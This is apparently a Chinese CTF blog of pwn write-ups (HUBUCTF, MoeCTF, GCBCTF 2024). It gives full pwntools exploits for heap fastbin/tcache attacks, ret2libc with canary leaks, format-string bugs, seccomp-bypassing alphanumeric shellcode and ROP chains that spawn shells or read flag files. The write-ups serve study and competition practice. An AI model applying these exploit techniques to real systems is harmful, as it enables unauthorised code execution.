最后两位可能不同,只修改最后两位为 main_ret talk(py) cmd(2) py = f"%{(backdoor_addr>>(i*8*2))&0xffff}c%28$hn".encode() # 每次修改 main_ret 两个字节为 backdoor_addr talk(py) cmd(2) talk(b'A') cmd(3) p.interactive() connect() pwn()
6※ ez_heap
-
题目附件:ez_heap
-
检查保护,全开:
-
IDA 分析,一道菜单堆题,存在 Add,Delete,Print 三种功能:
-
分别分析每个功能的漏洞。在 Add 中发现,不检查堆块数量:
-
在 Delete 中发现,指针没有清空,存在 UAF 漏洞:
-
Print 函数正常 puts 打印 堆内内容:
-
我们通过
strings libc.so.6 | grep "libc"
来确定本题的 libc 版本,发现是低版本的 libc-2.23 : -
那么先做好堆题的准备,把各个菜单函数写好,然后 patchelf 修改下载下来的附件的 libc 库和 ld 库:
-
低版本 glibc 没有 tcache 机制,释放的大小为 0x20 ~ 0x80 的堆(含堆头)都会直接进入 fastbin,而大于 0x80 的堆会先进入 unsorted bin。
-
而由于 unsorted bin 是双向链表管理,只有一个堆的时候,其 fd 和 bk 指针都指向 libc 中的 main_arena 结构体内。
-
所以此时利用 UAF 漏洞,申请两个 0x80 大小的堆,第二个是为了防止 unsorted bin 释放后向下合并 Top chunk。然后释放掉一个 0x80(含堆头 0x90) 大小的堆进入 unsorted bin,然后调用 Print 输出里面的地址。
-
接收下来输出的地址后,通过动态调试计算输出的 main_arena 地址与 libc_base 的偏移量:
-
然后便可以用接收的地址,减去这个偏移量得到 libc_base。
-
由于存在 UAF,我们可以通过 fastbin attack - double free 实现任意地址申请堆,那么便可以任意地址写。我们可以修改 malloc_hook 的地址为 one_gadget,下次 Add 的时候就可以 get shell。
-
那么我们计算 malloc_hook 的地址和 one_gadget 的地址:
delta = 0x7f39bb22db78 - 0x7f39bae69000 libc_base = uu64() - delta malloc_hook = libc_base + libc.symbols["__malloc_hook"] one_gadget = [libc_base + x for x in [0x4527a,0xf03a4,0xf1247]]
-
接着在上面多申请两个可以进入 fastbin 的堆,使用 double_free 使得它们指针指向彼此(这里的 0x68 由下一步得到):
-
由于 fastbin 申请堆的时候需要检查目标堆的大小,那我们动态调试,找一找 malloc_hook 前面是否存在可以伪装成堆的数据。在 -0x1B 的位置发现了一个很干净的 0x7f,刚好满足 fastbin 的大小:
-
那么我们需要把堆申请在 malloc_hook - 0x23 的位置,这样这个堆的大小为 0x7f 可以使得申请 0x70 大小的堆通过检查:
-
然后申请 2 个堆,使下一个堆地址为 malloc_hook - 0x23;再申请一个堆并将 malloc_hook 里面的地址写为 one_gadget,测试后 one_gadget[2] 可以使用:
-
最后再输入 1 申请堆,在程序 malloc 时便会先调用 malloc_hook 里面的函数,使得运行 one_gadget 获得权限:
-
完整 exp:
# -*- coding: utf-8 -*- from ctypes import * from time import * from LibcSearcher import LibcSearcher from cryptography.utils import int_to_bytes from pwn import * # context.terminal = ['tmux','splitw','-h'] # context(log_level = "debug",arch = "amd64",os = 'linux') # context(arch = "i386",os = 'linux') context(arch = "amd64",os = 'linux') ip = '210.44.150.15'; port = '25232' def connect(): global p,elf,libc,libclib,libc_name,file_name,ld,ld_name file_name = './attachment' ld_name = './ld-linux-x86-64.so.2' local = 1 if local: # p = process([ld_name, file_name], env={"LD_PRELOAD":libc_name}) libc_name = './libc.so.6' libclib = cdll.LoadLibrary('./libc.so.6') p = process(file_name) else: libc_name = 'libc.so.6' libclib = cdll.LoadLibrary('./libc.so.6') p = remote(ip,port) ld = ELF(ld_name) elf = ELF(file_name) libc = ELF(libc_name) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda n :p.recv(n) rl = lambda n :p.recvline(n) ru = lambda x :p.recvuntil(x) rud = lambda x :p.recvuntil(x, drop = True) uu64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) ita = lambda :p.interactive() leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) lg = lambda address,data :log.success('%s: '%(address)+hex(data)) def db(): gdb.attach(p) def menu(id): sla(b'Your choice :',id) def Add(size, content): menu(b'1') sa(b'Note size :',str(size).encode()) sa(b'Content :',content) def Show(idx): menu(b'3') sa(b'Index :',str(idx).encode()) def Del(idx): menu(b'2') sa(b'Index :',str(idx).encode()) def pwn(): Add(0x80,b'a') #0 进入 unsorted bin Add(0x60,b'a') #1 准备 fastbin attack Add(0x60,b'a') #2 准备 fastbin attack Add(0x80,b'a') #3 防止合并 Del(0) Show(0) # UAF 泄露 libc # db() #查找偏移量 delta = 0x7f39bb22db78 - 0x7f39bae69000 libc_base = uu64() - delta malloc_hook = libc_base + libc.symbols["__malloc_hook"] one_gadget = [libc_base + x for x in [0x4527a,0xf03a4,0xf1247]] print(hex(libc_base)) print(hex(malloc_hook)) print([hex(x) for x in one_gadget]) Del(1) # 放进 fastbin Del(2) # 指向 chunk1 Del(1) # 指向 chunk2 # 此时 fastbin -> chunk1 <-> chunk2 # db() #查找 malloc_hook 前可以伪装堆的位置 Add(0x60,p64(malloc_hook-0x23)) #0 & 4 -0x1B ~ -0x13 的位置 刚好为 0x7f Add(0x60,b'a') #1 & 5 Add(0x60,b'a') #0 & 6 py = b'a'*0x13 + p64(one_gadget[2]) #malloc_hook-0x13 & 7 修改 malloc_hook 为 one_gadget Add(0x68,py) # 那么我们申请块大小对齐后应为 0x70 此时 0x7f 为合法浮动大小 menu(b'1') # 再次 Add 8 即可触发 one_gadget sa(b'Note size :',str(int(0x80)).encode()) p.interactive() connect() pwn()
7※ ez_tcache
-
题目附件:ez_tcache
-
checksec 查看保护,保护全开:
-
IDA64 打开,发现是一道菜单题目,先写好菜单函数:
-
查看 Add 函数,发现未检查 索引数组 是否为空,可以申请任意多个堆。然后将 数据区 的前 0x20 的数据用来输入一个 tag:
-
del_book 函数里面未检查下标;我们看 magic 函数,这里面的 free 没有把指针清零,存在 UAF 漏洞,那么我们用 magic 函数做 Del:
-
Show 里面也只是不检查下标,并且跳过先前输入的 0x20 的 tag 输出,所以堆释放后我们无法用 Show 来打印里面的 fd 和 bk 指针:
-
有 Edit 函数,虽然不检查下标,但使用先前记录的长度,也是跳过先前输入的 0x20 的 tag 输出:
-
strings 查看 libc 版本,发现版本为是 2.27,从 libc 2.27 开始,引入了 tcache 机制,释放的堆大小为 0x20 - 0x410 (含堆头)时,会进入 tcache 缓存。
-
由于本题的 Show 无法泄露 libc,但是存在 UAF 漏洞,我们可以用 unsorted bin 的机制来构造一个简单的堆重叠:
-
我们可以让一个 0x3ff 进入 unsorted bin,此后再申请堆会优先从这个堆上分割,然后我们再申请 3 个堆就会在 0x3ff 的堆上,释放第二个堆进入 unsorted bin,就可以通过 UAF 来泄露 第二个堆的 fd 来泄露 libc 了。
-
由于每一种大小的堆 tcache 机制最多缓存 7 个,我们要使堆进入 unsorted bin 的话需要先释放 7个 相同大小的堆,先把 tcache 填满。
-
那么我们申请 9个 0x3ff 的堆,先释放 7 个填满 tcache,第 8 个进入 unsorted bin 可以泄露 libc 基址,第 9 个堆用来隔离 top chunk 防止 unsorted bin 向下合并:
for i in range(9): # 0~8 Add(i,0x3ff,b'a') for i in range(7): # 填满 tcache Del(i) Del(7) # 进入 unsorted bin
-
然后堆重叠可以用 大堆 修改 小堆的 fd 和 bk,那么如果小堆有一个在 tcache 里,就可以控制下一个堆申请的位置,实现任意地址写的操作。又因为我们需要小堆能够进入 unsorted bin 而不会在 tcache 满了之后进入 fastbin,且方便修改下一个堆的 size,申请小堆大小为 0x88,末尾向 8 对齐:
for i in range(9): # 0~8 Add(i,0x3ff,b'a') for i in range(7): # 填满 0x400(不含堆头) 的 tcache Del(i) for i in range(6): # 提前申请,不分割 unsorted Add(i,0x88,b'b') Del(7) # 进入 unsorted bin Add(6,0x88,b'b') # 用于堆重叠后 UAF 泄露和修改后续的堆 Add(8,0x88,b'b') # 释放后进入 unsorted bin Add(9,0x88,b'b') # 释放后处于 tcache 第一个 for i in range(6): # 填充 0x90(不含堆头) 的 tcache Del(i) Del(9) # 填满 0x90(不含堆头) 的 tcache Del(8) # 进入 unsorted bin
-
此时的堆结构:
-
最后一个 unsorted bin 内的 bk 指针会指向 main_arena,那么我们可以通过 chunk7 来填充泄露 chunk8 的 bk,再通过动态调试计算偏移量,便可以泄露 libc_base:
py = b'a' * 0x78 Edit(7,py) Show(7) # db() #确定 main_arena 与 libc_base 的偏移量 ru(b'a'*0x78) delta = 0x7f2ca1f3aca0 - 0x7f2ca1b4f000 libc_base = uu64() - delta one_gadget = [libc_base + x for x in [0x4f29e,0x4f2a5,0x4f302,0x10a2fc]] print(hex(libc_base)) print([hex(x) for x in one_gadget])
-
然后通过 chunk7 来修改 tcache 第一个堆 chunk9 (后入先出)的 fd 指针为 free_hook,接着申请两次相同大小的堆就会分配到 free_hook 上,紧接着就可以修改 free_hook 为 one_gadget。
-
由于 tcache 分配机制只看 fd 指针,不对 当前堆大小 和 目标堆大小 进行任何检查,并且 tcache 指针指向堆的数据区,所以我们修改 chunk9 的 fd 指针为 free_hook - 0x20 即可:
py = b'a' * (0x60 + 0x90 + 0x10) + p64(free_hook_addr-0x20) # tcache 的 fd 指针指向堆的数据区 Edit(7,py) # tcache 只看指针,不对大小进行任何检查 Add(10,0x88,b'c') Add(11,0x88,b'c') # 分配在 free_hook Edit(11,p64(one_gadget[2])) # 修改 free_hook 为 one_gadget Del(0) # get shell
-
完整 exp,由于远程链接较慢,需耐心等待,建议先在本地打通:
# -*- coding: utf-8 -*- from ctypes import * from time import * import tqdm from LibcSearcher import LibcSearcher from cryptography.utils import int_to_bytes from pwn import * # context.terminal = ['tmux','splitw','-h'] # context(log_level = "debug",arch = "amd64",os = 'linux') # context(arch = "i386",os = 'linux') context(arch = "amd64",os = 'linux') ip = '210.44.150.15'; port = '41736' def connect(): global p,elf,libc,libclib,libc_name,file_name,ld,ld_name file_name = './ez_tcache' ld_name = './ld-linux-x86-64.so.2' local = 0 if local: # p = process([ld_name, file_name], env={"LD_PRELOAD":libc_name}) libc_name = './libc.so.6' libclib = cdll.LoadLibrary('./ld-linux-x86-64.so.2') p = process(file_name) else: libc_name = 'libc.so.6' libclib = cdll.LoadLibrary('./ld-linux-x86-64.so.2') p = remote(ip,port) ld = ELF(ld_name) elf = ELF(file_name) libc = ELF(libc_name) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda n :p.recv(n) rl = lambda n :p.recvline(n) ru = lambda x :p.recvuntil(x) rud = lambda x :p.recvuntil(x, drop = True) uu64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) ita = lambda :p.interactive() leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) lg = lambda address,data :log.success('%s: '%(address)+hex(data)) def db(): gdb.attach(p) def cmd(idx): sla(b'4. edit',str(idx).encode()) def Add(idx,size,tag): cmd(1) sla(b'Index: \n',str(idx).encode()) sla(b'Size: \n',str(size).encode()) sa(b'please input the tag: \n',tag) def Del(idx): cmd(0xffff) sla(b'Index: \n',str(idx).encode()) def Show(idx): cmd(3) sla(b'Index: \n',str(idx).encode()) def Edit(idx,content): cmd(4) sla(b'Index: \n',str(idx).encode()) s(content) def pwn(): print("----fill tcache----") for i in range(9): # 0~8 Add(i,0x3ff,b'a') for i in range(7): # 填满 0x400(不含堆头) 的 tcache Del(i) print("----chunk overlap----") for i in range(6): # 提前申请,不分割 unsorted Add(i,0x88,b'b') Del(7) # 进入 unsorted bin Add(6,0x88,b'b') # 用于堆重叠后 UAF 泄露和修改后续的堆 Add(8,0x88,b'b') # 释放后进入 unsorted bin Add(9,0x88,b'b') # 释放后处于 tcache 第一个 for i in range(6): # 填充 0x90(不含堆头) 的 tcache Del(i) Del(9) # 填满 0x90(不含堆头) 的 tcache Del(8) # 进入 unsorted bin print("----leak libc_base----") py = b'a' * 0x78 Edit(7,py) Show(7) # db() #确定 main_arena 与 libc_base 的偏移量 ru(b'a'*0x78) delta = 0x7f2ca1f3aca0 - 0x7f2ca1b4f000 libc_base = uu64() - delta free_hook_addr = libc_base + libc.symbols["__free_hook"] one_gadget = [libc_base + x for x in [0x4f29e,0x4f2a5,0x4f302,0x10a2fc]] print(hex(libc_base)) print(hex(free_hook_addr)) print([hex(x) for x in one_gadget]) print("----free_hook attack----") py = b'a' * (0x60 + 0x90 + 0x10) + p64(free_hook_addr-0x20) # tcache 的 fd 指针指向堆的数据区 Edit(7,py) # tcache 只看指针,不对大小进行任何检查 Add(10,0x88,b'c') Add(11,0x88,b'c') # 分配在 free_hook Edit(11,p64(one_gadget[2])) # 修改 free_hook 为 one_gadget Del(10) # get shell p.interactive() connect() pwn()
HUBUCTF 2024
1※ nc-test
-
考点:ls -la
-
使用 pwntools 工具连上后直接进入了交互界面,
ls -la
一下看看一共有什么文件: -
发现有一个隐藏的
.flag
文件,cat .flag
获得 flag:
1※ 斯塔克
-
考点:ret2text
-
checksec 检查保护,发现没保护:
-
检查漏洞函数,在 main 里第二个 read 存在栈溢出:
-
左侧 got 表里有 system 函数:
-
我们可以往一个全局变量(地址已知)里写入数据:
-
那么我们可以第一个 read 往 bss 里面写入
/bin/sh\x00
,然后第二个 read 栈溢出覆盖程序的返回地址,用 rdi 传参执行 system("/bin/sh") -
用 ropper 工具查找
pop rdi;ret
和ret
的地址:ropper --file 2 --search "pop|ret" | grep "rdi"
ropper --file 2 --search "ret"
-
注意 64位 程序平衡栈(rsp 的末位对对齐 0)加一个 ret,写出完整 exp:
# -*- coding: utf-8 -*- from ctypes import * from platform import system from time import * import tqdm from LibcSearcher import LibcSearcher from cryptography.utils import int_to_bytes from pwn import * from sympy.abc import delta # context.terminal = ['tmux','splitw','-h'] # context(log_level = "debug",arch = "amd64",os = 'linux') # context(arch = "i386",os = 'linux') context(arch = "amd64",os = 'linux') ip = 'challenge.hubuctf.cn'; port = '31845' # patchelf --set-interpreter ./xxxxld ./2 # patchelf --replace-needed libc.so.6 ./xxxxlibc ./2 def connect(): global p,elf,libc,libclib,libc_name,file_name,ld,ld_name file_name = './2' # ld_name = './ld-2.31.so' local = 0 if local: # p = process([ld_name, file_name], env={"LD_PRELOAD":libc_name}) # libc_name = './libc-2.31.so' # libclib = cdll.LoadLibrary('./libc-2.31.so') p = process(file_name) else: # libc_name = 'libc-2.31.so' # libclib = cdll.LoadLibrary('./libc-2.31.so') p = remote(ip,port) elf = ELF(file_name) # ld = ELF(ld_name) # libc = ELF(libc_name) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda n :p.recv(n) rl = lambda n :p.recvline(n) ru = lambda x :p.recvuntil(x) rud = lambda x :p.recvuntil(x, drop = True) uu64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) ita = lambda :p.interactive() leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) lg = lambda address,data :log.success('%s: '%(address)+hex(data)) pad = lambda *args :bytes.join(b'',[p64(x) for x in args]) def db(): gdb.attach(p) def pwn(): system_addr = elf.plt["system"] bin_sh_addr = 0x404080 pop_rdi_ret = 0x401170 ret = 0x401016 py = b'/bin/sh\x00' sl(py) py = b'a' * 0x40 + b'A' * 0x08 + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(ret) + p64(system_addr) sl(py) p.interactive() connect() pwn()
3※ ShallWeLeak
-
checksec 检查保护,开了 Canary:
-
发现程序第一个 read 存在格式化字符串漏洞,可以用来泄露 Canary:
-
先用
py = b'DDDD' + b'.%x'*8
测试偏移量为 8: -
根据 IDA 里提示变量的相对位置计算 Canary 的偏移量为 17:
-
泄露后接收:
py = b'%17$p' s(py) ru(b'Hello ') canary = int(rud(b'You'),16) print(hex(canary))
-
下面需要输入一个数字等于先前 rand 的随机值,我们知道 rand 是根据种子的伪随机,题目又给了 libc 库,那么我们使用题目所给的 libc 库在同一时间 srand 一个种子,就可以 rand 随机到相同的值:
-
那么用
cdll.LoadLibrary('./libc.so.6')
导入 libc 库后获得相同的数字:a = time.time() libclib.srand(int(a)) key = libclib.rand()
-
进入 if 后存在一个栈溢出,发现左边没有 system,那么我们需要进行 ret2libc,第一次栈溢出泄露 puts 函数的地址,然后泄露 libc;第二次溢出获得权限:
-
需要注意的是第一次返回 main 后,需要重新 srand 一遍,由于网络存在延迟,有时候本地时间与服务器时间不一样会导致无法通过,要多运行试几次(我连接了 30 多次):
# -*- coding: utf-8 -*- from ctypes import * import time import tqdm from LibcSearcher import LibcSearcher from cryptography.utils import int_to_bytes from pwn import * from sympy.abc import delta # context.terminal = ['tmux','splitw','-h'] # context(log_level = "debug",arch = "amd64",os = 'linux') # context(arch = "i386",os = 'linux') context(arch = "amd64",os = 'linux') ip = 'challenge.hubuctf.cn'; port = '31765' # patchelf --set-interpreter ./xxxxld ./3 # patchelf --replace-needed libc.so.6 ./xxxxlibc ./3 def connect(): global p,elf,libc,libclib,libc_name,file_name,ld,ld_name file_name = './3' # ld_name = './ld-2.31.so' local = 0 if local: # p = process([ld_name, file_name], env={"LD_PRELOAD":libc_name}) libc_name = './libc.so.6' libclib = cdll.LoadLibrary('./libc.so.6') p = process(file_name) else: libc_name = 'libc.so.6' libclib = cdll.LoadLibrary('./libc.so.6') p = remote(ip,port) elf = ELF(file_name) # ld = ELF(ld_name) libc = ELF(libc_name) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda n :p.recv(n) rl = lambda n :p.recvline(n) ru = lambda x :p.recvuntil(x) rud = lambda x :p.recvuntil(x, drop = True) uu64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) ita = lambda :p.interactive() leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) lg = lambda address,data :log.success('%s: '%(address)+hex(data)) pad = lambda *args :bytes.join(b'',[p64(x) for x in args]) def db(): gdb.attach(p) def pwn(): puts_got = elf.got["puts"] puts_plt = elf.plt["puts"] main_addr = 0x4011B1 pop_rdi_ret = 0x04011aa ret = 0x401016 a = time.time() libclib.srand(int(a)) key = libclib.rand() # py = b'DDDD' + b'.%x'*8 py = b'%17$p' s(py) ru(b'Hello ') canary = int(rud(b'You'),16) print(hex(canary)) sl(str(key).encode()) py = b'a' * 0x28 + p64(canary) + b'A' * 0x08 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr) sl(py) ru(b' learn pwn\n') puts_addr = uu64() libc_base = puts_addr - libc.symbols["puts"] system_addr = libc_base + libc.symbols["system"] bin_sh_addr = libc_base + next(libc.search(b'/bin/sh')) # one_gadget = [libc_base + x for x in one_gadget] leak("libc_base",libc_base) leak("puts_addr",puts_addr) leak("system_addr",system_addr) leak("bin_sh_addr",bin_sh_addr) # print([hex(x) for x in one_gadget]) a = time.time() sl(b'111') libclib.srand(int(a)) key = libclib.rand() sl(str(key).encode()) py = b'a' * 0x28 + p64(canary) + b'A' * 0x08 + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(ret) + p64(system_addr) sl(py) p.interactive() connect() pwn()
MoeCTF 2024
2※ leak_sth
-
考点:格式化字符串漏洞
-
题目链接:leak_sth
-
拖进 IDA64,点左侧
main
,F5 反汇编,发现存在printf
格式化字符串漏洞: -
那么可以先输出来看看偏移量是多少,由于
buf
最多只允许输入 32个字节,构造输入为b'DDDD'+b'.%x'*9
: -
运行数一下,发现偏移 8 个的时候刚好为
buf
的开头: -
继续分析题目,要求我们接下来输入的数字等于 v3,那么我们只需要利用格式化输出,将 v3 里面的值输出来就好了,查看一下
main
的栈里 v3 与buf
的位置关系,发现就在正上方一个字节: -
那么我们构造 payload 来格式化
%d
输出偏移量为 7 的位置: -
运行,发现已经把 v3 输出出来了,我们直接复制输入即可获得系统权限,
cat flag
一下获得 flag:
GCBCTF 2024
4※ Alpha_Shell
-
考点:orw,纯字符 shellcode
-
checksec 检查保护,保护全开:
-
IDA64 分析,发现有脏数据,patch 掉:
-
还是不能反编译,显示不是一个函数。在 main 的入口处,点左上角 编辑-函数-创建函数,然后就可以反编译了:
-
稍微逆向一下发现,程序要求输入一个只有 大小写字母和数字 的字符串,经过 沙盒 保护一下,执行输入的字符串。
-
我们看一下沙盒的细节,程序最多输入 0x150 个字节,我们输入 0x150 个 a 来填满,然后就可以显示具体规则了。发现execve,execveat 被过滤了,我们不能获得权限,只能走 orw:
-
又发现 read,write,open,wirtev,readv,都被过滤了,但是我们仍然可以用 openat 来代替 open,用 sendfile 来代替 read和write:
py = """ mov rax, 0x0067616c662f /* 倒着的 /flag 压在栈顶 */ push rax mov rsi, rsp /* 第二个为文件名的地址 */ xor rdi, rdi /* 第一个为 0 */ xor rdx, rdx /* 第三个为 0 */ xor r10, r10 /* 第四个为 0 */ mov rax, 257 syscall /* openat(0,'/flag',0,0) */ mov rsi, rax /* 第二个参数为 读入的文件,openat 返回一个 文件描述符在 ax 中, */ mov rax, 40 mov rdi, 1 /* 第一个参数为 1:输出的文件 */ xor rdx, rdx /* 第三个参数为 0 */ mov r10, 0x50 /* 第四个参数为 长度 */ syscall /* sendfile(1,'/flag',0,0x50) */ """
-
最后用 AE64 的时候我们需要知道,栈溢出时 哪个寄存器的值 + 偏移量 = shellcode 基址。经过尝试 rcx 和 rdx,偏移 0 都可以。由于只能输入 0x150 个字符,我们用 fast 模式发现长度为 0x13b 合适:
py = AE64().encode(asm(py),'rdx',0,'fast') print(hex(len(py)))
-
完整 exp:
from ShallowDreamTools import * from ae64 import AE64 Pwn.init(Url="125.70.243.22:31241",File="attachment",log_level="INFO") Pwn.connect() py = """ mov rax, 0x0067616c662f /* 倒着的 /flag 压在栈顶 */ push rax mov rsi, rsp /* 第二个为文件名的地址 */ xor rdi, rdi /* 第一个为 0 */ xor rdx, rdx /* 第三个为 0 */ xor r10, r10 /* 第四个为 0 */ mov rax, 257 syscall /* openat(0,'/flag',0,0) */ mov rsi, rax /* 第二个参数为 读入的文件,openat 返回一个 文件描述符在 ax 中, */ mov rax, 40 mov rdi, 1 /* 第一个参数为 1:输出的文件 */ xor rdx, rdx /* 第三个参数为 0 */ mov r10, 0x50 /* 第四个参数为 长度 */ syscall /* sendfile(1,'/flag',0,0x50) */ """ py = AE64().encode(asm(py),'rdx',0,'fast') print(hex(len(py))) s(py) ita()
6※ Offensive_Security
-
考点:fmt
-
checksec 检查保护,发现只开了 NX:
-
IDA64 打开,发现 main 里很简单:
-
但是这个程序把几个程序封装到 libc 中了,这使得我们的 puts,read 等函数的 plt-got 表没有加载进 elf 中,只有 login 等函数:
-
我们把题目给的 libc 也拖进 IDA64 中分析,可以找到刚才的 login 函数中存在 fmt 漏洞:
-
程序需要我们的输入与由随机数 v5 生成的 password 相同的字符串,那么我们可以先泄露出 v5,然后就可以分别计算出 password 的 8 个字节:
-
由于只能输入 0x10 个字符,我们先用
DDDDDDDD%7$p
开始一个个测试偏移量,在%8$p
的时候发现输出了 0x44444444,说明偏移量为 8。 -
那么输出偏移量为 13 的位置就是 v5 的值了,从而可以计算 password:
# py = b'DDDDDDDD'+b'%8$p' # 8 py = b'%13$p' s(py) ru(b'0x') v5 = int(rud(b'[!]')[:-8],16) print(hex(v5)) ans = ((v5>>24)&0xff) + (((v5>>16)&0xff)<<8) + (((v5>>8)&0xff)<<16) + ((v5&0xff)<<24) ans = long_to_bytes(ans)[::-1] * 2 s(ans)
-
成功登入后会执行 main 里面的 vuln 函数,里面创建了两个进程同时执行 checker 和 guess 函数:
-
checker 函数中需要我们的输入与一个全局变量 authenticantion_code 相同,然后就可以执行 shell 函数:
-
而 guess 函数中可以让我们往 authenticantion_code 里读入一个值:
-
那么我们快速地输入两次相同的数字,就可以在 checker 检查之前将 authenticantion_code 里面变成我们输入的值,完成绕过:
sl(b'1') sl(b'1')
-
最后的 shell 函数中存在栈溢出:
-
但是由于我们的 elf 文件中没有 puts,write,read 等各种函数,无法用来输出泄露 libc,从而我们没有办法打 ret2libc。
-
我们发现 elf 中还有一个 Function 函数,里面调用了 printer 函数:
-
我们看 libc 中的 printer,参数为 打开文件的字符串的地址,可以将文件内的内容输出出来:
-
那么我们可以想办法凑齐字符串 'flag',让 rdi 指向字符串,然后调用 printer。我们发现 Function 函数的下方有一些 fungadgets:
-
问一问 AI,第二段
pop rdx; pop rcx; add rcx,0D093h; bextr rbx,rcx,rdx; retn
是将 rcx 从第 dl 位开始,取出共 dh 位,存在 rbx 中。 -
第一段
xlat; retn
可以类比为al = [rbx+al]
将 [bx+al] 中的值取出,存在 al 中。 -
第三段
stosb; retn
可以类比为[rdi] = bl; rdi += 1
将 bl 写入 rdi 指向的内存中,将 rdi+1。 -
那么我们可以先用第二段将字符 'f' 的地址 - al 后的值,存在 bx 中;再用第一段将 'f' 字符取出存在 al 中;最后用第三段将 'f' 写入 [rdi] 中。那么我们就可以往 [rdi] 中写入 'flag\x00',就可以调用 printer 来输出 flag 文件中的内容了:
py = b'a'*0x20 + b'A'*0x08 py += pad64(pop_rdi_ret,bss_addr) py += pad64(pdx_pcx_acx_sbx_r,my_rdi,f_addr << 16,set_al,in_rdi) py += pad64(pdx_pcx_acx_sbx_r,my_rdi,(l_addr-ord('f')) << 16,set_al,in_rdi) py += pad64(pdx_pcx_acx_sbx_r,my_rdi,(a_addr-ord('l')) << 16,set_al,in_rdi) py += pad64(pdx_pcx_acx_sbx_r,my_rdi,(g_addr-ord('a')) << 16,set_al,in_rdi) py += pad64(pdx_pcx_acx_sbx_r,my_rdi,(zero_addr-ord('g')) << 16,set_al,in_rdi) py += pad64(pop_rdi_ret,bss_addr) py += p64(printer_plt) print(hex(len(py))) sla(b'>\n',py)
-
输出 payload 长度,发现没有超过 0x200 可以使用。
-
完整 exp:
from Crypto.Util.number import long_to_bytes from ShallowDreamTools import * Pwn.init(Url="125.70.243.22:31959",File="./attachment",Libc="./lib2shell.so",log_level="INFO") function_addr = 0x400635 printer_plt = 0x400647 pop_rdi_ret = 0x0400661 ret = 0x0400462 Pwn.connect() # py = b'DDDDDDDD'+b'%8$p' # 8 py = b'%13$p' s(py) ru(b'0x') v5 = int(rud(b'[!]')[:-8],16) print(hex(v5)) ans = ((v5>>24)&0xff) + (((v5>>16)&0xff)<<8) + (((v5>>8)&0xff)<<16) + ((v5&0xff)<<24) ans = long_to_bytes(ans)[::-1] * 2 s(ans) sl(b'1') sl(b'1') f_addr = 0x40023F l_addr = 0x40022B a_addr = 0x400206 g_addr = 0x40022D zero_addr = 0x40026D pdx_pcx_acx_sbx_r = 0x400650 set_al = 0x40064E in_rdi = 0x40065F bss_addr = 0x600500 my_rdi = (32<<8) + 16 py = b'a'*0x20 + b'A'*0x08 py += pad64(pop_rdi_ret,bss_addr) py += pad64(pdx_pcx_acx_sbx_r,my_rdi,f_addr << 16,set_al,in_rdi) py += pad64(pdx_pcx_acx_sbx_r,my_rdi,(l_addr-ord('f')) << 16,set_al,in_rdi) py += pad64(pdx_pcx_acx_sbx_r,my_rdi,(a_addr-ord('l')) << 16,set_al,in_rdi) py += pad64(pdx_pcx_acx_sbx_r,my_rdi,(g_addr-ord('a')) << 16,set_al,in_rdi) py += pad64(pdx_pcx_acx_sbx_r,my_rdi,(zero_addr-ord('g')) << 16,set_al,in_rdi) py += pad64(pop_rdi_ret,bss_addr) py += p64(printer_plt) print(hex(len(py))) sla(b'>\n',py) ita()
6※ vtable_hijack
-
checksec 检查保护,没开 PIE,其他都开:
-
strings 检查 glibc 版本,发现是 glibc 2.35,没有 tcache:
-
IDA64 分析,菜单题 Add,Del,Edit,Show 功能都有:
-
Add 中申请无限制:
-
Del 中没用清空指针,存在 UAF 漏洞:
-
Edit 中没检查长度,存在堆溢出:
-
那么我们可以用 unsortedbin 泄露 libc,用 fastbin attack 修改 malloc_hook 为 one_gadget 即可。
-
完整 exp:
from ShallowDreamTools import * Pwn.init(Url="125.70.243.22:31875",File="Pwn",Libc="libc.so.6",Ld="ld-linux-x86-64.so.2") Pwn.connect() def cmd(idx): sla(b'choice:\n',idx) def Add(idx,size): cmd(b'1') sla(b'index:\n',str(idx).encode()) sla(b'size:\n',str(size).encode()) def Del(idx): cmd(b'2') sla(b'index:\n',str(idx).encode()) def Edit(idx,content): cmd(b'3') sla(b'index:\n',str(idx).encode()) sla(b'length:\n',str(len(content)).encode()) sa(b'content:\n',content) def Show(idx): cmd(b'4') sla(b'index:\n',str(idx).encode()) Add(0,0x100) Add(1,0x60) Add(2,0x60) Del(1) Del(2) Del(0) Show(0) # 泄露 libc # Pwn.db() delta = 0x7f0197e92538 - 0x7f0197b17000 libc_base = u64(Pwn.p.recv(6).ljust(8,b'\x00')) - Pwn.libc.symbols["__libc_start_main"] - delta malloc_hook = libc_base + Pwn.libc.symbols["__malloc_hook"] one_gadget = [libc_base + x for x in [0x3f3e6,0x3f43a,0xd5c07]] leak("libc_base",libc_base) leak("malloc_hook",malloc_hook) print([hex(x) for x in one_gadget]) Edit(2,p64(malloc_hook-0x23)) # 修改为 malloc_hook 的前来伪装堆 Add(3,0x60) Add(4,0x60) py = b'a'*0x13 + p64(one_gadget[2]) Edit(4,py) # 修改 malloc_hook Add(5,0x40) ita()
4※ beverage store
-
考点:数组下标溢出
-
checksec 检查保护,没开 PIE,got 表可改:
-
IDA64 分析,需要先输入一个数字等于随机数 来验证 VIP:
-
我们发现 buf 可以输入 0x10 的长度,但这是个 int 只有 0x08,在全局变量发现其下方就是种子 seed:
-
那么我们可以溢出 seed 为我们可控的值,然后就可以生成相同的随机数绕过了:
